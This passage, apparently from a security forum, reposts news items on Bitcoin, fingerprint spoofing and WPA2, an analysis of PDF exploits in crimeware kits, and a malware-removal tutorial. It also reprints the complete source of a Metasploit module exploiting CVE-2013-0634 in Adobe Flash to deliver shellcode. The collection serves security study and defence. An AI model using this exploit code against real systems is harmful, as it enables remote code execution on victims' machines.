Nmap - Free Security Scanner For Network Exploration & Security Audits. Sursa: https://www.sans.org/security-resources/idfaq/icmp_misuse.php

[h=1]Bitcoin 2.0: Unleash The Sidechains[/h] “Cryptocurrencies will create a fifth protocol layer powering the next generation of the Internet,” says Naval Ravikant. “Our 2014 fund will be built during the blockchain cycle,” concurs Fred Wilson. And Andreessen Horowitz have very visibly doubled down on Bitcoin. Even if you don’t believe in Bitcoin as a currency, and I’ll grant there’s plenty to be skeptical about, you should be thinking: huh, a lot of extremely smart and successful people think that its underlying technology is a pretty big deal. But as I wrote myself just a few weeks ago, there’s a big difference between blockchain technology and Bitcoin itself, right? …Maybe not. A brief technical refresher: “blockchains” are the distributed-consensus technology introduced to the world by the mysterious Satoshi Nakamoto, wherein a peer-to-peer network is used to codify and cryptographically verify transactions, without any central authority. What’s more, transactions can be orchestrated by programmable contracts. Bitcoin is both the first and most successful blockchain application, but there are many, many other “cryptocurrencies,” known as “altcoins.” What’s more, there are numerous other, non-currency applications being built on new blockchains, notably Namecoin and Ethereum, and several proposals for expanding and evolving Bitcoin itself, eg ZeroCoin, MasterCoin, Colored Coins, etc. Articol complet: Bitcoin 2.0: Unleash The Sidechains | TechCrunch

Document-Based Exploits (Part II) Several factors make Adobe Reader an attractive target for exploitation to get malicious code run on a target machine. The first is the application has many buffers that can be populated by loading a document. Adobe Reader can also be thought of as an interpreter, executing whatever valid code might be contained within a document, using functions that potentially have vulnerabilities. The biggest factor is the software is common to most desktop computers, giving the largest number of potential victims, a problem that’s exacerbated by web browsers that automatically load PDFs in a browser plugin after fetching them from web servers. Here I’m going to illustrate that with two particular exploits I found in the CRIMEPACK, Blackhole, Eleanor and Phoenix crimeware kits (full write-up on these later). Collab.getIcon() Discovered (or publicly disclosed) in March 2009, the Collab.getIcon() method/function vulnerability appears to be specific to Adobe Reader, and the exploit must be implemented as a JavaScript call to this function. According to the advisories the exploit is a typical stack overflow through a malformed call to getIcon(), and this allows arbitrary code execution – a typical way of changing the Instruction Pointer value to the address of some malicious code. An example of this and a copy of the vulnerable application (for Windows users) are available from the Offensive Security exploit database (number 9579). The exploit is also available as a Metasploit module. We’re looking for two things within a malicious PDF: something that causes an exception, and a payload that executes when the exception occurs. So, if we run the strings utility on an example PDF from SecurityFocus… where the hell is the exploit? Where is the getIcon() request for that matter? The best place to start is by looking at the file’s structure and layout. PDFs are self-referencing, that is each section is an object marked by a reference number such as 10, 20, 30, etc. The contents of each object can also contain a reference to another object. In the SecurityFocus PDF, one section, 30, references some JavaScript in another section, 70R: By the way, I’m using the SecurityFocus example because the references within the actual crimware PDF are also obfuscated. Looking further through the code, at the referenced object, some random characters are found. This, I believe, is the exploit and payload. However, it’s unintelligible because the content of that section is compressed and obfuscated, which enables the malicious code to get past various intrusion detection/prevention methods. For a while it would also have made reverse-engineering tricky because the tools were less readily available. Obfuscated code is indicated by the ‘/Filter /FlateDecode‘ string. To uncompress/decode this section, I used qpdf. Since this doesn’t work on the SecurityFocus sample, I ran qpdf on the actual crimeware PDF instead: $qpdf --stream-data=uncompress geticon.pdf 3rdattempt.pdf The output file contains the unobfuscated exploit and its payload, and the following section is instantly recognisable as an array buffering the payload: Of course, the payload is unreadable as the strings utility is attempting to convert hex shellcodes into ASCII text. To get those, the PDF must be run through a hex editor or something like Bokken. Unfortunately the shellcode is OS-specific and I wasn’t using a Windows machine, so I didn’t analyse it further. What we do already know is the payload results in the installation of a banking Trojan. The payload was buffered as an array for the exploit code itself, which is seen further down: util.printf() Problems with the printf() function in the C programming language are well-known. They aren’t necessarily caused by the developers of Adobe Reader, but instead it’s a vulnerability native to the C language, where the function doesn’t check the stack boundaries. Here the vulnrability might be in the C code underlying the JavaScript interpreter. A full description and an exploit attempt is published on the CORE Security site, and that works by overwriting the Structured Exception Handler address with that of another location where the shellcode is placed. Again, the malicious code is only executed with the privileges of whoever’s running the PDF reader. Conclusion As both exploits were found in three crimeware kits, it’s obvious their authors targeted something common to most desktop computers – Adobe Reader. The versions of CRIMEPACK, Blackhole and Eleanor being examined were all created around the same period, so they were either sold by the same group, or the exploits were proven the most effective for circulation among the crimeware authors. What’s the worst that can happen? Both exploits have already been out there for five years, and other vulnerabilities like them have been found since, so this post only gives a taste of what to expect in a crimeware kit. The impact of a successful exploit here depends on the credentials the Adobe Reader application is running under. If it’s a standard user account with limited privileges, the exploit would lead to only that account being initially compromised, although privilege escalation is always possible afterwards. The latter is unlikely, though, as the crimeware has obviously been developed to automate things as much as possible, and the attacker would have many compromised admin accounts. If the user has admin privileges at the time the application is exploited, the payload has full control of the system. As can be demonstrated using Metasploit, the payload could be anything, including a reverse shell for remote access or code that fetched a malware installer. The people behind the crimeware were counting on some victims being logged into the admin account, or on being able to escalate their privileges after the account was compromised. Sursa: https://xerocrypt.wordpress.com/2014/04/19/document-based-exploits-part-ii/

Galaxy S5 fingerprint scanner bypassed using old Apple Touch ID spoof The Samsung Galaxy S5 was released on Friday and, similar to the release of the iPhone 5s back in late September 2013, it only took a few days before the fingerprint scanner was hacked. Ben Schlabs, project manager with Security Research Labs, a group that also bypassed Apple's Touch ID, told SCMagazine.com on Wednesday that bypassing the fingerprint scanner on the Samsung device was even more seamless, and may open the door for more problems. The Germany-based company posted a video demonstration on Tuesday. Schlabs said he easily fooled the Galaxy S5 scanner by simply picking up a dried out fingerprint spoof – lying around since his tests on the iPhone 5s Touch ID – and swiping it over the fingerprint scanner of the brand new Samsung mobile device. “The first spoof I swiped over the sensor worked immediately,” Schlabs said. “For whatever reason, that particular spoof was and is rejected by the iPhone, but works on the S5.” The fingerprint spoof was made from a glue mold using a fingerprint that could effortlessly be lifted from the device, Schlabs said, explaining that anyone with $20 and a decent grasp of arts and crafts can pull this off in the amount of time it takes for the glue to dry. The Galaxy S5 fingerprint hack may end up spelling more trouble for Samsung than the Touch ID hack did for Apple because the Galaxy, perhaps inadvertently, offers unlimited attempts to swipe a fingerprint, and also does not require a passcode when the device is powered up, Schlabs said. “As it stands, turning off the screen and turning it back on allows for one additional swipe attempt every time,” Schlabs said. “This gives would-be spoofers unlimited attempts, greatly increasing their chances of success.” Another concern about the Galaxy S5 fingerprint bypass is that it can be abused to authenticate transactions using PayPal. In a statement emailed to SCMagazine.com on Wednesday, a spokesperson said that eligible transactions are covered by PayPal's purchase protection policy should a related incident occur. “PayPal never stores or even has access to your actual fingerprint with authentication on the Galaxy S5,” according to the statement. “The scan unlocks a secure cryptographic key that serves as a password replacement for the phone. We can simply deactivate the key from a lost or stolen device, and you can create a new one.” These types of “biometric” features are so vulnerable to spoofing because fingerprints are left on every glossy surface we touch, and can easily be stolen and copied, Schlabs said, explaining fingerprint scanning as a safety feature may represent a step up in convenience, but it represents a step down in security. Sursa: Galaxy S5 fingerprint scanner bypassed using old Apple Touch ID spoof - SC Magazine

Probabil se refera la faptul ca serverele web nu salveaza log-uri in aceste situatii.

[h=1]WPA2 wireless security cracked[/h] Date: March 20, 2014 Source: Inderscience Summary: There are various ways to protect a wireless network. Some are generally considered to be more secure than others. Some, such as WEP (Wired Equivalent Privacy), were broken several years ago and are not recommended as a way to keep intruders away from private networks. Now, a new study reveals that one of the previously strongest wireless security systems, Wi-Fi protected access 2 (WPA2) can also be easily broken into on wireless local area networks (WLANs). There are various ways to protect a wireless network. Some are generally considered to be more secure than others. Some, such as WEP (Wired Equivalent Privacy), were broken several years ago and are not recommended as a way to keep intruders away from private networks. Now, a new study published in the International Journal of Information and Computer Security, reveals that one of the previously strongest wireless security systems, Wi-Fi protected access 2 (WPA2) can also be easily broken into on wireless local area networks (WLANs). Achilleas Tsitroulis of Brunel University, UK, Dimitris Lampoudis of the University of Macedonia, Greece and Emmanuel Tsekleves of Lancaster University, UK, have investigated the vulnerabilities in WPA2 and present its weakness. They say that this wireless security system might now be breached with relative ease by a malicious attack on a network. They suggest that it is now a matter of urgency that security experts and programmers work together to remove the vulnerabilities in WPA2 in order to bolster its security or to develop alternative protocols to keep our wireless networks safe from hackers and malware. The convenience of wireless network connectivity of mobile communications devices, such as smart phones, tablet PCs and laptops, televisions, personal computers and other equipment, is offset by the inherent security vulnerability. The potential for a third party to eavesdrop on the broadcast signals between devices is ever present. By contrast a wired network is intrinsically more secure because it requires a physical connection to the system in order to intercept packets of data. For the sake of convenience, however, many people are prepared to compromise on security. Until now, the assumption was that the risk of an intruder breaching a wireless network secured by the WPA2 system was adequately protected. Tsitroulis and colleagues have now shown this not to be the case. If setup correctly, WPA2 using pre-shared key (PSK) encryption keys can be very secure. Depending on which version is present on the wireless device it also has the advantage of using strong encryption based on either the temporal key integrity protocol (TKIP) or the more secure counter mode with cipher block chaining message authentication code protocol (CCMP). 256-bit encryption is available and a password can be an alphanumeric string with special characters up to 63 characters long. The researchers have now shown that a brute force attack on the WPA2 password is possible and that it can be exploited, although the time taken to break into a system rises with longer and longer passwords. However, it is the de-authentication step in the wireless setup that represents a much more accessible entry point for an intruder with the appropriate hacking tools. As part of their purported security protocols routers using WPA2 must reconnect and re-authenticate devices periodically and share a new key each time. The team points out that the de-authentication step essentially leaves a backdoor unlocked albeit temporarily. Temporarily is long enough for a fast-wireless scanner and a determined intruder. They also point out that while restricting network access to specific devices with a given identifier, their media access control address (MAC address), these can be spoofed. There are thus various entry points for the WPA2 protocol, which the team details in their paper. In the meantime, users should continue to use the strongest encryption protocol available with the most complex password and to limit access to known devices via MAC address. It might also be worth crossing one's fingers…at least until a new security system becomes available. Sursa: WPA2 wireless security cracked -- ScienceDaily

Adobe Flash Player Regular Expression Heap Overflow Authored by juan vazquez, temp66, Boris dukeBarman Ryutin | Site metasploit.com This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This Metasploit module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Regular Expression Heap Overflow", 'Description' => %q{ This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 11.5.502.149. By supplying a specially crafted swf file with special regex value, it is possible to trigger an memory corruption, which results in remote code execution under the context of the user, as exploited in the wild in February 2013. This module has been tested successfully with Adobe Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before MS13-063, since it takes advantage of a predictable SharedUserData in order to leak ntdll and bypass ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # malware sample 'Boris "dukeBarman" Ryutin', # msf exploit 'juan vazquez' # ActionScript deobfuscation and cleaning ], 'References' => [ [ 'CVE', '2013-0634' ], [ 'OSVDB', '89936'], [ 'BID', '57787'], [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ], [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ], [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ], [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ], [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Feb 8 2013", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" shellcode = get_payload(cli, target_info).unpack("H*")[0] html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="his=<%=shellcode%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "exploit.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Sursa: Adobe Flash Player Regular Expression Heap Overflow ? Packet Storm

[h=3]Basic Malware Cleaning[/h]Last year in September I wrote an article for Hakin9 on how to detect, identify and of course disinfect a machine from malware. I've decided to publish it on my blog as well, you can also download it from the following links in PDF format: Basic Malware Cleaning Gratis bestanden delen en uploaden via Mijn Bestand!(mirror) Here's the article: Basic Malware Cleaning Malware is common nowadays. Each day, machines get infected with viruses, spyware, Trojans, keyloggers, rogueware, ransomware, rootkits, … The list continues with more advanced malware like Conficker, Duqu, Stuxnet, Flame, … The malware scenario on itself has also drastically changed. Where in the past, malware was created for showing off your skills or gaining your 15 minutes of fame (remember LoveLetter?), it is now almost solely used for the purpose of making money. If you are reading this article, you have already helped someone getting rid of malware infestations, or you at least have an interest in the basics on how to clean malware from an infected machine. What you will learn... Identifying malicious processes, terminating these processes and how to properly prevent them from running Identifying malicious startup entries and system modifications Identifying related malicious files, meaning droppers and payload Identifying the malware source and effectively tackling it What you should know... Basic computer knowledge and common sense Use a proper environment for testing purposes About the author The author has been working as a technical support engineer in the antivirus industry for several years and is also involved in performing malware research and malware analysis, intended primarily for improving his own skills and raising awareness amongst every computer user, whether it would be home or business users. You can follow him on Twitter: @bartblaze Introduction Before we begin, I’d like to make clear that if you want to test your skills after reading this article or want to test malware in general, you should set up a proper testing environment. Make sure you are using a Virtual Machine if testing on your own machine, or create a machine for the sole use of testing malware and antimalware tools. In either case, it’s a good idea to use a separate network or use a DMZ should you have one. Personally I recommend having the machine connected to the internet, so the malware can do its evil work to its maximum potential and you will be able to carefully study and dissect its workings completely. I’ve made a post on my blog as well on how to build your own malware analysis lab: Blaze's Security Blog: Basics for a malware analysis lab More tips can be found in the section On The Web in the last paragraphs of this article. In the next paragraphs, we will see three possible malware scenarios: Rogueware Trojan horse Rootkit For each malware scenario or case study, a sample was executed and the machine was consequently rebooted to view the malware’s effects. Each case study will be outlined with the necessary tools and steps to take on how to completely eradicate the above infection types. Note that after performing manual clean-up, it is advised to perform a scan with an (preferably) online antimalware or antivirus product. Most antivirus companies offer a free online scan and automatic removal. We will be making use of the following tools: Autoruns GMER Process Explorer RootkitRevealer Rootkit Unhooker First case study - Rogueware Rogueware is probably one of the most known types of malware nowadays. The reason is simple: when one gets infected with rogueware, annoying pop-ups will appear all over the screen, urging to buy their precious Antivirus, which has found enough infections on your machine to completely toast it – if they were real. Rogueware is simply blatant enough to appear fully on your screen, whereas most other types of malware will (try to) work silently in the background. In this first case study we will only make use of the tools Process Explorer and Autoruns, both created by Sysinternals. After running our first sample and rebooting the machine, we receive several messages that the machine is infected and we should take immediate action. A screenshot of this specific rogueware: Figure 1. Rogueware called ‘Live Security Platinum’ running on our machine Let’s start Process Explorer and see what’s running! Figure 2. Process responsible for Live Security Platinum What can you make of this screenshot? There are indicators this is indeed malware: Random filename No file description No company name Explaining why there is a random filename: trying to evade specific antimalware tools which focus only on names the malware uses – for example, I remember a specific rogueware family from back in 2009 that always placed the same DLL in the System32 folder: win32extension.dll Tip: If you’re in doubt whether a process is malicious, simply right-click it in Process Explorer and select Search Online... Most of the times, Google will have a history of this filename. If the search is turning up zero results, it’s an extra confirmation that it concerns a malicious process. Explaining why there is no file description or company name is simple: in earlier days – the days of Windows XP to be exact – the basic Task Manager did not display any file description or company name. So basically, there was no use in including it since it wasn’t displayed anyway. In Windows Vista, Windows 7 and soon Windows 8 Task Manager is improved. This malware hides in %appdata%, which is a system variable for the Application Data folder of the currently logged on user. What else can we deduct from this screenshot? The rogueware uses a Microsoft icon, thus trying to trick the user to indicate it’s nothing malicious. An effective trick indeed, but considering the previous factors, we can be sure this is a malicious process which needs to be terminated. A useful setting in Process Explorer is through Options > Verify Image Signatures. With this option, you’ll be able to quickly determine if a file claiming to be from Microsoft is indeed so or not. Note that these may be forged. There are three color codes important for us: Green – new process Red – killed process Purple – process with images that are packed. Intention: hiding strings, evading antivirus detections By right-clicking the process and choosing Properties, we can gather more intelligence about the file. A short overview of the tabs useful for our malware identification: Image – image file properties Strings – strings loaded into the image or memory Figure 3. Image Tab details Thanks to the Image tab, we are able to view the file location, any command line arguments there may be, but also if the file has a valid Image Signature and the current directory from where the file is executed. Moving over to the Strings tab, where we may find interesting information about the file and its behavior. An example: Figure 4. Payform.html, which is the rogueware’s own webpage to order its ‘product’ Let’s close this and start with the cleaning of this type of malware. First step is killing the rogueware by right-clicking the process in Process Explorer and choosing Kill Process. The rogueware will disappear like snow in the sun. Note that some rogueware is protecting or guarding each other’s process, so it’s possible you will have to Suspend a process first before killing its guardian. Afterwards you can kill the first process and the rogueware will not re-appear again. Second step is of course disabling the rogueware from starting up with Windows. In order to do so, we will be using Autoruns: Figure 5. Autoruns Logon tab view Navigate to the Logon tab and choose to delete it. Click Yes to confirm. Close Autoruns. If you are unsure about a Logon entry, simply untick the checkbox first instead of deleting it. A trick that is often utilized by malware authors is to hijack several antivirus processes to, for example, svchost.exe or to their own malicious program. They do this to prevent antivirus software from running and making sure their malicious program will be executed. Sometimes, Task Manager, Regedit, the Command Prompt (CMD) and other tools are hijacked as well. I’m sure you have encountered before that you were unable to run any of these built-in Windows features. The reason is Image Hijacks. We will now be using the same trick against them, by creating our own Image Hijack or, as Microsoft calls it: Image File Execution Options. To do so, we will use Regedit: Figure 6. Image Hijacks can be added under: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options In order to add an Image Hijack, right-click on the Image File Execution Options key and select to create a new Key. This key must be the exact same name as the malware name. In our first case study, this means: 529C50D8212C2CDD6A42F365D151FC4E.exe We subsequently create a new String Value under this key with Value Name: Debugger and Value Data: svchost.exe. Now, even when the rogueware is still on the system, it cannot start since it will be forced to start svchost instead. You can also do this faster by using the following small piece of code and running it by clicking on Start > Run and pasting it in the message box. Replace XXX.exe by the name of the malware: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XXX.exe" /v Debugger /d "svchost.exe" /f In our first case study, for the ‘Live Security Platinum’ rogueware, this would be: reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\529C50D8212C2CDD6A42F365D151FC4E.exe" /v Debugger /d "svchost.exe" /f Tip: in Autoruns there’s a useful tab called Image Hijacks which will display any present modifications to this key: Figure 7. Check if there are any Image Hijacks present Have you completed all these steps, reboot the machine. If nothing seems to pop up or alarm you, you can visit the folder where the rogueware resides and delete the malicious file. Note that you might have to enable Hidden files, folders or drives, and to unhide Protected Operating System files. You can do this via Windows Explorer: For Windows XP: Tools > Folder Options > View For Windows Vista and Windows 7: Organize > Folder and Search Options > View This concludes our first case study. Be sure to remember it, as we will be using the same tools for our next malware family: a Trojan horse. Second case study – Trojan horse Trojan horses or Trojans are typically data stealers and can copy themselves on your machine. They may also turn your machine into a zombie, which is basically a computer part of a botnet. Trojans often disguise themselves as legitimate programs; for example an upgrade of Adobe Flash Player, a crack or key generator for a game or Microsoft Office and many more. After executing our sample and rebooting the machine, we don’t see anything malicious in Process Explorer. Actually, we are seeing something strange. A Firefox instance was running even though we didn’t start Firefox. When starting Firefox manually, it gets loaded under Explorer. In this case, it was not loaded under Explorer, but started as a separate process: Figure 8. Malicious Firefox process loaded. As you can see, svchosts.exe is injected into Firefox The Trojan has loaded a malicious version of a Firefox process, to effectively hide itself from users. After all, who would suspect a Firefox process to be malicious? You can search for Handles or DLLs via the menu Find. Svchosts.exe is the Trojan on itself, which we will see below. Note: for this reason, the Trojan has rootkit capabilities, which we will discuss in the next case study. If we verify any system modifications with Autoruns, there are two new entries added in the Logon tab: Figure 9. Two new entries in the Logon tab of Autoruns. We will now discuss some characteristics In Figure 9 there are two entries highlighted: one under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit, while the other one can be found under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. The Trojan has attached itself to the Userinit value, which will ensure that it starts right after a user logs in to Windows. It has also placed an entry in the Run key, as an extra check to start up with Windows. If we take a look at the Trojan’s file information: Figure 10. Trojan’s file information There are a few things that should get your alarm bells ringing: The file is only 188 kB --> files with a small size are more likely to contain malware The filename is svchosts.exe and resides in C:\Windows--> malware imitating legit Microsoft files is not uncommon --> the legit file is named svchost.exe and resides in C:\Windows\system32--> most, but not all, malware hides in C:\Windows or C:\Windows\system32 The file description reads “deine mutter”--> which is German for “your mother” and is considered an insult in some countries The icon of a microphone is used into tricking you this might be legit software--> voice or audio recording software for example Let’s move on and start disinfecting the machine step by step. First step is to Kill the malicious Firefox process with Process Explorer. Next, open up Regedit and navigate to the following key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Figure 11. Hijacked Userinit value Restore the default Userinit value by double-clicking on the value and entering as Value data (this is the default Value data for Userinit): c:\windows\system32\userinit.exe Open Autoruns again or should you not have closed it, refresh. You will see the first entry has disappeared. Now simply delete the other value. Tip: did you know you can easily access the Registry via Autoruns? Right-click an entry, select Jump To… and you will be taken there instantly. Very useful in cases where the Userinit, Winlogon or Shell Value keys are hijacked or altered. At this point, reboot the machine and verify with Process Explorer that there aren’t any malicious processes still present, or a malicious Firefox process. Verify with Autoruns that all startup entries are removed. Navigate to the folder where the malware hides and delete the responsible file(s). This concludes our second case study. In the next case study we will see how to handle a rootkit infection. Third case study - Rootkit Rootkits are a type of malware apart. Rootkits are software which can hide processes, files & folders, drivers, registry keys and much more from the Operating System, antivirus software and many security tools. Rootkits can also be used to gain and retain administrator privileges on a machine. Typically, you can divide rootkits into two categories or types: User mode or user land rootkits Kernel mode or kernel land rootkits Figure 12. Figure of protection rings. Rings are mechanisms to protect data and functionality from faults and malicious behavior. (Image source: Wikipedia) User mode rootkits: operate in Ring 3, together with user applications Kernel mode rootkits: operate in Ring 0, with the highest Operating System privileges Rootkits can perform many tasks, besides hiding themselves, they can also disable antivirus components, perform DLL injection (inject and run code in the address space of another process), hide other malware, download additional malware, provide an attacker access to the machine, turn the machine into a zombie, …. You get the point. In this case study, we will see the infamous TDL3 rootkit (which is a ring 0 rootkit), more specifically the “4DW4R3” rootkit. It was dubbed the 4DW4R3 rootkit because of the strings found in the associated DLLs. (associated files for this malware also start with 4DW4R3 and attached 10 random letters after it, for example: 4DW4R3vDqMXSvfxR.dll) After executing the sample, it gets deleted immediately. Let’s reboot the machine at this point and document our findings. Firing up Process Explorer and Autoruns still works normally, but there doesn’t seem to be anything suspicious. In this case, we will need to run some more specialized tools in order to uncover the rootkit’s modifications to the system. When encountering a rootkit infection, it is recommended to run at least three different anti-rootkit tools. Why? Anti-rootkits can produce false positives The rootkit may have used hooking to prevent certain anti-rootkit tools from running or even displaying incorrect results The first anti-rootkit tool we will be using is RootkitRevealer, another Sysinternals tool: Figure 13. RootkitRevealer found four files hidden from the Windows API. This means you won’t be able to view them, not even when having the option on to view hidden files and folders, or protected operating system files Note that we will only focus on the highlighted changes for now. The others are also from rootkit modifications, where it is denying access on certain registry keys for RootkitRevealer. Now that we have uncovered associated files from the rootkit, we can use Process Explorer again to verify if there has been any DLL injection. In our second case study, we have already briefly seen this occurrence. Figure 14. Through the menu Find > Find handle or DLL… We discover that 4DW4R3vDqMXSvfxR.dll is injected into svchost.exe Besides injecting into svchost.exe, the rootkit will also (attempt to) inject itself in newly created processes, for example firefox.exe. Result is you will be redirected to a shady search engine whenever you are trying to search something on Google, Yahoo or other search engines. This can be verified by opening the 4DW4R3vDqMXSvfxR.dll file in Process Explorer and selecting the Strings tab (be sure to select Memory): Figure 15. Search results on Bing, Google, Yahoo, AOL,… Will all be redirected to another (malicious) search engine When using Rootkit Unhooker, it notifies us of Possible Rootkit Activity. When reading the log, we see the following lines: ============================================== Stealth Unknown page with executable code Address: 0xF889C8BB Size: 1861 This indicates there’s something stealth, which may be malicious, at address space F889C8BB. The code at this address space is probably used to prevent the scanning of registry keys by certain anti-rootkit tools, as was the case with RootkitRevealer. When using GMER, it starts a scan of the system right away and will state whether or not there’s an infection: Figure 16. The 4DW4R3 rootkit has also been discovered by GMER Let’s review what GMER has found as system modifications: Code F889BEB5 ZwCallbackReturn Code F889B979 ZwEnumerateKey Code F889B96F ZwSaveKey Code F889B974 ZwSaveKeyEx Code F889BBD2 IofCompleteRequest ZwCallbackReturn: ensure communication between user mode malware components and the kernel mode rootkit ZwEnumerateKey: hide registry keys, prevent anti-rootkits from scanning the registry ZwSaveKey & ZwSaveKeyEx: prevent some anti-rootkits from scanning the registry or detecting mischief IofCompleteRequest: hide and protect rootkit files Let’s review what GMER has found as service modifications: · Service C:\WINDOWS\system32\drivers\4DW4R3nKkNtexUqD.sys (*** hidden *** ) [sYSTEM] 4DW4R3 <-- rootkit=""> It is obvious by now the machine is infected with a rootkit. We will be using GMER to fully disinfect the machine. Right-click the service and choose Delete Service. If you receive an error, choose Disable Service. Reboot the machine. Now that the service is deleted (or disabled) we are able to view the files the rootkit has placed. Simply delete them and reboot: Figure 17. The rootkit’s associated DLLs and drivers This concludes our third case study. In the next paragraphs you’ll be able to find additional information on how to handle a malware incident. Signals of infection In most cases, it’s pretty obvious when facing an infection like rogueware or ransomware: pop-ups and annoying messages all over the screen. There are other symptoms which may not always seem originating from malware: Failing of Windows Firewall, Windows Security Center warnings. Microsoft Update malfunctioning. Not being able to execute antimalware tools. Not being able to visit websites from antivirus vendors. Redirections taking place in your browser to shady search engines. Severe slowdown of the machine. More bandwidth usage than usual. Suddenly finding software on your machine you never installed or never gave permission to. These are called Potentially Unwanted Programs (PUP) or Adware. Unexpected Blue Screens (BSOD). This might be due to a badly written rootkit for example. Unexpected errors or malfunctioning of antivirus and antimalware programs. General tips and tricks In this section I’ll add some extra tips and tricks for problems you might encounter during the disinfection process: If a tool is refusing to run, try renaming it to explorer.exe or svchost.exe. Some rogueware families will block all applications, but will allow system processes to run. If a tool is refusing to run, and you already tried above trick, try renaming to SomeName.com. It’s possible all EXE files are disallowed from running. There’s a tool called exeHelper which will restore the default values for PE (executable) files. Another useful tip is trying to boot the machine in Safe Mode. Some malware will only place a value in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, which is ignored when booting in Safe Mode. Note that malware X won’t do much in Safe Mode, but can actually still be downloading additional malware if you decide to boot in Safe Mode with Networking. Rootkits can interrupt the execution of several anti-malware tools, where even above tricks won’t be able to help. In that case, you should try fixing the permissions of those tools. A very useful tool for this is Inherit. Just drag and drop the tool or program you want to execute on Inherit. Wait for the message box “OK” to pop up and you should be able to run it. Also in case of a rootkit or any other malware infection, it is advisable to change your most important passwords after fully cleaning the machine. Remember that when having encountered a rootkit infection and cleaning the machine, it is possible there are still infection leftovers. In case of doubt, reinstall Windows completely. In case of a bootkit, which infects the MBR, you need to boot the machine from the Windows installation CD, choose the Recovery Console, and type the command fixmbr in the command prompt. Press Enter and the MBR or Master Boot Record will rebuild. In some cases, the machine is infected so badly that it’s almost unworkable to run any tool. It’s also possible you cannot boot into Windows anymore. In such cases, you can use a boot CD or safe CD from an antivirus vendor. An alternative is the Sardu Multiboot CD or DVD and USB creator, which combines several antivirus rescue CDs. Or you can completely reinstall the machine. Tip: take regular back-ups of important files and folders! Prevention tips and tricks I’m guessing most of you already know how to protect yourself against mischief, though I’ll repeat some general tips once again. Repetition is key. Some do’s and don’ts: Do install an antivirus program – yes, you never use antivirus and you’ve never been infected before. Still, using antivirus reduces the chance even more. Do uninstall applications you don’t need – examples are Java and Adobe. If you do need them, update them frequently. Do uninstall browser extensions you don’t need. If you do need them, check for updates frequently. Do your updates. This includes Windows updates, antivirus updates, browser updates and any other software you may be using. Do use layered protection if possible – Firewall at hardware level (router), HIPS, antivirus, antimalware … Don't open email attachments from unknown senders - ever. Don’t click on everything on the internet. Meaning: use common sense when browsing the web. Don’t trust everything on the internet. If it looks too good to be true, it probably is! Don’t fill in your personal information or email address on random websites. Don't use the same password for each and every website! Implement proper password security. Don’t panic if you suspect you’ve been infected. Read the tips below on what to do if you are. Help! I’m infected! What could be the best procedure if you suspect to be infected? Suggested model: · Stay calm, don’t panic. Disconnect yourself from the network. · Identify and kill malicious processes. · Identify and delete malicious autorun entries. · Reboot and repeat the previous steps. · Delete associated files and folders. · Run a full scan with your installed antivirus product. · If disinfection is applied successfully, connect to the network again. If possible, connect to a separate network first to verify everything is indeed back to normal or not. Perform an online scan with another antivirus product than the one you have installed. If you’re in a corporate network, what could be the best procedure if you suspect to be infected? Suggested model: · Stay calm, don’t panic. Disconnect yourself from the network & contact your network administrator. · 